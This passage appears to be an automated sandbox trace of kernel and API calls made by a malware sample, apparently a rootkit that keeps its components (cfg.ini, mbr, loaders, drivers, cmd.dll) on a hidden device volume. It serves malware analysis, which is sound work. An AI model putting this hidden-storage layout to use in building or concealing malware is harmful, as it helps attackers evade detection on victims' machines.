FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbf100 [0119.084] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.084] KeLeaveCriticalRegion () [0119.084] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.084] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.084] KeEnterCriticalRegion () [0119.084] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.084] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.084] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.084] KeLeaveCriticalRegion () [0119.084] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.084] KeEnterCriticalRegion () [0119.084] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.084] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.084] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.084] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.084] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.084] IdePortDispatch () returned 0x103 [0119.084] KeWaitForMutexObject () returned 0x0 [0119.084] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.084] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.084] KeLeaveCriticalRegion () [0119.084] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.084] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.085] KeEnterCriticalRegion () [0119.085] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.085] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c64000 [0119.085] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.085] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.085] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.085] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.085] IdePortDispatch () returned 0x103 [0119.085] KeWaitForMutexObject () returned 0x0 [0119.085] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.085] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.085] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.085] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.085] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.085] IdePortDispatch () returned 0x103 [0119.085] KeWaitForMutexObject () returned 0x0 [0119.085] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.085] KeLeaveCriticalRegion () [0119.085] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.086] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.086] KeEnterCriticalRegion () [0119.086] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.086] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.086] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.086] KeLeaveCriticalRegion () [0119.086] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.086] KeEnterCriticalRegion () [0119.086] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.086] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.086] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcef20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.086] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.086] KeLeaveCriticalRegion () [0119.086] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.086] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.087] KeEnterCriticalRegion () [0119.087] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.087] ExFreePoolWithTag (P=0xfffffa8003bbf100, Tag=0x0) [0119.087] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.087] KeLeaveCriticalRegion () [0119.087] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.087] ReleaseMutex (hMutex=0xf0) returned 1 [0119.087] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0119.087] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0119.087] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0119.087] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.087] KeEnterCriticalRegion () [0119.087] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.087] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.087] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.087] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.087] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.087] IdePortDispatch () returned 0x103 [0119.087] KeWaitForMutexObject () returned 0x0 [0119.087] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.087] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.087] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.087] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.087] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.087] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.087] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.088] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.088] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.088] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.088] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.088] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.088] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.088] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.088] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.088] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.088] KeLeaveCriticalRegion () [0119.088] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.088] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0119.088] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.088] KeEnterCriticalRegion () [0119.088] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.088] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.088] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.088] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.088] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.088] IdePortDispatch () returned 0x103 [0119.088] KeWaitForMutexObject () returned 0x0 [0119.088] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.088] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.088] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.088] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.088] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.088] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.089] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.089] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.089] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.089] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.089] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.089] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.089] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.089] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.089] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.089] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.089] KeLeaveCriticalRegion () [0119.089] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.089] ReleaseMutex (hMutex=0x100) returned 1 [0119.089] Sleep (dwMilliseconds=0x2bf20) [0119.097] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6a2dd890, dwHighDateTime=0x1d24fa4)) [0119.097] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0119.097] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.097] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.098] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.098] KeEnterCriticalRegion () [0119.098] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.098] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.098] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.098] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.098] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.098] IdePortDispatch () returned 0x103 [0119.098] KeWaitForMutexObject () returned 0x0 [0119.098] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.098] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.098] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.098] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.098] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.098] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039ca2c0 [0119.098] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.098] KeLeaveCriticalRegion () [0119.098] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.098] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.099] KeEnterCriticalRegion () [0119.099] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.099] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.099] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.099] KeLeaveCriticalRegion () [0119.099] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.099] KeEnterCriticalRegion () [0119.099] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.099] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.099] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.099] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.099] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.099] IdePortDispatch () returned 0x103 [0119.099] KeWaitForMutexObject () returned 0x0 [0119.099] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.099] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.099] KeLeaveCriticalRegion () [0119.099] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.099] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.099] KeEnterCriticalRegion () [0119.099] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.099] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c67000 [0119.099] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.099] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.100] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.100] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.100] IdePortDispatch () returned 0x103 [0119.100] KeWaitForMutexObject () returned 0x0 [0119.100] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.100] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.100] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.100] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.100] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.100] IdePortDispatch () returned 0x103 [0119.100] KeWaitForMutexObject () returned 0x0 [0119.100] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.100] KeLeaveCriticalRegion () [0119.100] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.101] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.101] KeEnterCriticalRegion () [0119.101] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.101] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.101] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.101] KeLeaveCriticalRegion () [0119.101] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.101] KeEnterCriticalRegion () [0119.101] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.101] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.101] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc1a10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.101] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.101] KeLeaveCriticalRegion () [0119.101] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.101] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.101] KeEnterCriticalRegion () [0119.101] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.101] ExFreePoolWithTag (P=0xfffffa80039ca2c0, Tag=0x0) [0119.101] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.101] KeLeaveCriticalRegion () [0119.101] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.102] ReleaseMutex (hMutex=0xf0) returned 1 [0119.102] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.102] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.102] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.102] KeEnterCriticalRegion () [0119.102] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.102] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.102] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.102] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.102] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.102] IdePortDispatch () returned 0x103 [0119.102] KeWaitForMutexObject () returned 0x0 [0119.102] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.102] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.102] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.102] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.102] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.102] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003ba04e0 [0119.102] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.102] KeLeaveCriticalRegion () [0119.102] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.102] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.102] KeEnterCriticalRegion () [0119.102] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.102] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.103] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.103] KeLeaveCriticalRegion () [0119.103] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.103] KeEnterCriticalRegion () [0119.103] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.103] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.103] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.103] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.103] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.103] IdePortDispatch () returned 0x103 [0119.103] KeWaitForMutexObject () returned 0x0 [0119.103] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.103] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.103] KeLeaveCriticalRegion () [0119.103] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.103] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.103] KeEnterCriticalRegion () [0119.103] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.103] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c68000 [0119.103] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.103] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.103] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.103] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.103] IdePortDispatch () returned 0x103 [0119.104] KeWaitForMutexObject () returned 0x0 [0119.104] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.104] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.104] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.104] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.104] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.104] IdePortDispatch () returned 0x103 [0119.104] KeWaitForMutexObject () returned 0x0 [0119.104] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.104] KeLeaveCriticalRegion () [0119.104] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.105] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.105] KeEnterCriticalRegion () [0119.105] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.105] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.105] ExReleaseFastMutexUnsafe (in: 